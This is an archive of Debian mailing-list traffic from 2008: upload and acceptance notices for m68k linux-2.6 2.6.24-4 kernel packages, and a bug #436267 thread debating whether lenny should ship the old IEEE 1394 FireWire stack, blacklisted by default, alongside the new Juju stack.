linux-2.6_2.6.24-4_m68k.changes uploaded successfully to localhost along with the files: linux-image-2.6.24-1-amiga_2.6.24-4_m68k.deb linux-headers-2.6.24-1-amiga_2.6.24-4_m68k.deb linux-image-2.6.24-1-atari_2.6.24-4_m68k.deb linux-headers-2.6.24-1-atari_2.6.24-4_m68k.deb linux-image-2.6.24-1-bvme6000_2.6.24-4_m68k.deb linux-headers-2.6.24-1-bvme6000_2.6.24-4_m68k.deb linux-image-2.6.24-1-mac_2.6.24-4_m68k.deb linux-headers-2.6.24-1-mac_2.6.24-4_m68k.deb linux-image-2.6.24-1-mvme147_2.6.24-4_m68k.deb linux-headers-2.6.24-1-mvme147_2.6.24-4_m68k.deb linux-image-2.6.24-1-mvme16x_2.6.24-4_m68k.deb linux-headers-2.6.24-1-mvme16x_2.6.24-4_m68k.deb linux-headers-2.6.24-1-common_2.6.24-4_m68k.deb linux-headers-2.6.24-1-all_2.6.24-4_m68k.deb linux-headers-2.6.24-1-all-m68k_2.6.24-4_m68k.deb linux-libc-dev_2.6.24-4_m68k.deb Greetings, Your Debian queue daemon -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
linux-2.6_2.6.24-4_m68k.changes ACCEPTED
Accepted: linux-headers-2.6.24-1-all-m68k_2.6.24-4_m68k.deb to pool/main/l/linux-2.6/linux-headers-2.6.24-1-all-m68k_2.6.24-4_m68k.deb linux-headers-2.6.24-1-all_2.6.24-4_m68k.deb to pool/main/l/linux-2.6/linux-headers-2.6.24-1-all_2.6.24-4_m68k.deb linux-headers-2.6.24-1-amiga_2.6.24-4_m68k.deb to pool/main/l/linux-2.6/linux-headers-2.6.24-1-amiga_2.6.24-4_m68k.deb linux-headers-2.6.24-1-atari_2.6.24-4_m68k.deb to pool/main/l/linux-2.6/linux-headers-2.6.24-1-atari_2.6.24-4_m68k.deb linux-headers-2.6.24-1-bvme6000_2.6.24-4_m68k.deb to pool/main/l/linux-2.6/linux-headers-2.6.24-1-bvme6000_2.6.24-4_m68k.deb linux-headers-2.6.24-1-common_2.6.24-4_m68k.deb to pool/main/l/linux-2.6/linux-headers-2.6.24-1-common_2.6.24-4_m68k.deb linux-headers-2.6.24-1-mac_2.6.24-4_m68k.deb to pool/main/l/linux-2.6/linux-headers-2.6.24-1-mac_2.6.24-4_m68k.deb linux-headers-2.6.24-1-mvme147_2.6.24-4_m68k.deb to pool/main/l/linux-2.6/linux-headers-2.6.24-1-mvme147_2.6.24-4_m68k.deb linux-headers-2.6.24-1-mvme16x_2.6.24-4_m68k.deb to pool/main/l/linux-2.6/linux-headers-2.6.24-1-mvme16x_2.6.24-4_m68k.deb linux-image-2.6.24-1-amiga_2.6.24-4_m68k.deb to pool/main/l/linux-2.6/linux-image-2.6.24-1-amiga_2.6.24-4_m68k.deb linux-image-2.6.24-1-atari_2.6.24-4_m68k.deb to pool/main/l/linux-2.6/linux-image-2.6.24-1-atari_2.6.24-4_m68k.deb linux-image-2.6.24-1-bvme6000_2.6.24-4_m68k.deb to pool/main/l/linux-2.6/linux-image-2.6.24-1-bvme6000_2.6.24-4_m68k.deb linux-image-2.6.24-1-mac_2.6.24-4_m68k.deb to pool/main/l/linux-2.6/linux-image-2.6.24-1-mac_2.6.24-4_m68k.deb linux-image-2.6.24-1-mvme147_2.6.24-4_m68k.deb to pool/main/l/linux-2.6/linux-image-2.6.24-1-mvme147_2.6.24-4_m68k.deb linux-image-2.6.24-1-mvme16x_2.6.24-4_m68k.deb to pool/main/l/linux-2.6/linux-image-2.6.24-1-mvme16x_2.6.24-4_m68k.deb linux-libc-dev_2.6.24-4_m68k.deb to pool/main/l/linux-2.6/linux-libc-dev_2.6.24-4_m68k.deb Override entries for your package: linux-headers-2.6.24-1-all-m68k_2.6.24-4_m68k.deb - optional devel linux-headers-2.6.24-1-all_2.6.24-4_m68k.deb - optional devel linux-headers-2.6.24-1-amiga_2.6.24-4_m68k.deb - optional devel linux-headers-2.6.24-1-atari_2.6.24-4_m68k.deb - optional devel linux-headers-2.6.24-1-bvme6000_2.6.24-4_m68k.deb - optional devel linux-headers-2.6.24-1-common_2.6.24-4_m68k.deb - optional devel linux-headers-2.6.24-1-mac_2.6.24-4_m68k.deb - optional devel linux-headers-2.6.24-1-mvme147_2.6.24-4_m68k.deb - optional devel linux-headers-2.6.24-1-mvme16x_2.6.24-4_m68k.deb - optional devel linux-image-2.6.24-1-amiga_2.6.24-4_m68k.deb - optional admin linux-image-2.6.24-1-atari_2.6.24-4_m68k.deb - optional admin linux-image-2.6.24-1-bvme6000_2.6.24-4_m68k.deb - optional admin linux-image-2.6.24-1-mac_2.6.24-4_m68k.deb - optional admin linux-image-2.6.24-1-mvme147_2.6.24-4_m68k.deb - optional admin linux-image-2.6.24-1-mvme16x_2.6.24-4_m68k.deb - optional admin linux-libc-dev_2.6.24-4_m68k.deb - optional devel Thank you for your contribution to Debian. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#436267: Firewire support in lenny
On Tue, Feb 12, 2008 at 11:49:22AM +0100, maximilian attems wrote: I guess that means that lenny will be released with linux kernel 2.6.24.x. If that is so, then I kindly request that the debian kernel packages will be released with the stable Firewire stack modules compiled. no certainly not, we haven't yet discussed the release kernel. options are 2.6.25 or 2.6.26. Given the pace of kernel releases, I do not believe 2.6.26 is possible for lenny, but 2.6.25 is possible, although I think it will only be released a month or two before the final freeze. Regarding Linux 2.6.22...2.6.24, the best advice to Linux distributors (kernel packagers) as well as to regular users is: Build only the old IEEE 1394 drivers. you omit the interesting next paragraph: Building the new drivers is only for advanced users (who for example want the better speed of firewire-sbp2 relative to sbp2) - and for distributors who know what is required in userspace to make use of the new drivers and who can get bugfixes backported and rolled out quickly. on the kernel side we do backport firewire patches. for the userspace side i still see lack of action on libdc1394 2008/01/05: The official version 2.0.0 has been released. 2008/01/05: A first set of fixes have been released (version 2.0.1) why is that not even in unstable/experimental? libdc1394 2.0.1 is in unstable: http://packages.debian.org/libdc1394-22 My IIDC cameras do not work correctly with a juju-enabled libdc1394 2.0.1. Furthermore, apart from coriander there are no applications that have migrated from libdc1394 v1 to v2. the progress of the juju stack is very nice, there are quite some fixes queued for 2.6.25, we will make those snapshots available soonest. That is good to hear. if the regression list for 2.6.25 is still high we may reconsider there to build the old stack with blacklisted modules. that has always been our stated fallback position, currently in the development phase we encourage testing of the newer stack on latest linux-images. I do not see why making the old stack available again, but blacklisted by default, discourages testing of the newer stack. If you have both available, then yes, users can switch to the new stack more easily, but at least they will still be using Debian kernel packages, and they can switch back to the juju stack just as well. If you do not make this option available, those who have problems with the new stack will have to compile their own kernels, and then they will not track the Debian kernel packages anymore. -- Met vriendelijke groet / with kind regards, Guus Sliepen [EMAIL PROTECTED] signature.asc Description: Digital signature
Bug#436267: Firewire support in lenny
On Sun, Feb 03, 2008 at 10:04:18AM +0100, Marc 'HE' Brockschmidt wrote: Early March 2008 Very soft freeze [...] Mid of July 2008 Full freeze I guess that means that lenny will be released with linux kernel 2.6.24.x. If that is so, then I kindly request that the debian kernel packages will be released with the stable Firewire stack modules compiled. The current kernel package mainainer(s) has (have) decided to disable the stable modules in favour of the new and experimental JuJu stack[0]. The new stack has the advantage that is more secure and has a cleaner code base, but the drawback that a lot of devices and features are not yet supported. To summarise what the JuJu developers themselves say about the current state of the new stack[1]: Compatibility and stability At the time of this writing (01/2008), there are still multiple problems with the new FireWire kernel driver stack (alias Juju) compared to the old stack: * Lacking userspace integration. * Lack of testing. Therefore compatibility issues with some controllers and external devices. * There are still problems with isochronous reception on some OHCI 1.0 variants of VIA VT6306/6307 based cards. Cameras and audio devices are unusable with the new drivers if you have such a chip. * Almost no support for IIDC cameras: Highly experimental support in libdc1394 v2 which works with some luck on only a few OHCI 1.1 controllers. * Stability issues of the storage device driver firewire-sbp2 on some hardware. * Missing IP over 1394 support. Regarding Linux 2.6.22...2.6.24, the best advice to Linux distributors (kernel packagers) as well as to regular users is: Build only the old IEEE 1394 drivers. There are security issues with the stable stack[2], so to protect our users it is better to load the modules for the JuJu stack by default. But for those people who need the stable stack to do work, the modules for the stable stack should be available. There is no reason not to build both stacks, they don't conflict with each other (except that only one works if you load both, of course). I hope the kernel package maintainer(s) will make sure kernel packages with the stable modules available, but blacklisted by default, will enter testing soon, so that users of testing get a chance to test it before lenny is released. [0] http://bugs.debian.org/436267 [1] http://wiki.linux1394.org/JujuMigration [2] http://en.wikipedia.org/wiki/FireWire#Security_issues -- Met vriendelijke groet / with kind regards, Guus Sliepen [EMAIL PROTECTED] signature.asc Description: Digital signature
Bug#436267: Firewire support in lenny
[ stripping cc list to relevant bug report + devel for general info ] On Tue, Feb 12, 2008 at 12:31:43PM +0100, Guus Sliepen wrote: On Tue, Feb 12, 2008 at 11:49:22AM +0100, maximilian attems wrote: Given the pace of kernel releases, I do not believe 2.6.26 is possible for lenny, but 2.6.25 is possible, although I think it will only be released a month or two before the final freeze. that discussion belongs to another thread, but don't be too pessimistic. [snipp] libdc1394 2.0.1 is in unstable: http://packages.debian.org/libdc1394-22 cool. sorry rmadison wasn't showing it to me yet. My IIDC cameras do not work correctly with a juju-enabled libdc1394 2.0.1. Furthermore, apart from coriander there are no applications that have migrated from libdc1394 v1 to v2. even with 2.6.24-4 linux images? please mention the uname of your tests the progress of the juju stack is very nice, there are quite some fixes queued for 2.6.25, we will make those snapshots available soonest. That is good to hear. if you are on amd64 2.6.25-rc1-git2 - http://photon.itp.tuwien.ac.at/~mattems/ will build i686 during day (takes much longer) please if 2.6.24 has troubles feedback on that one. if the regression list for 2.6.25 is still high we may reconsider there to build the old stack with blacklisted modules. that has always been our stated fallback position, currently in the development phase we encourage testing of the newer stack on latest linux-images. I do not see why making the old stack available again, but blacklisted by default, discourages testing of the newer stack. If you have both available, then yes, users can switch to the new stack more easily, but at least they will still be using Debian kernel packages, and they can switch back to the juju stack just as well. If you do not make this option available, those who have problems with the new stack will have to compile their own kernels, and then they will not track the Debian kernel packages anymore. you can't have both without blacklisting one otherwise udev loads randomly from boot to boot other firewire stack. changing blacklist files in /etc/modprobe.d is trivial. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
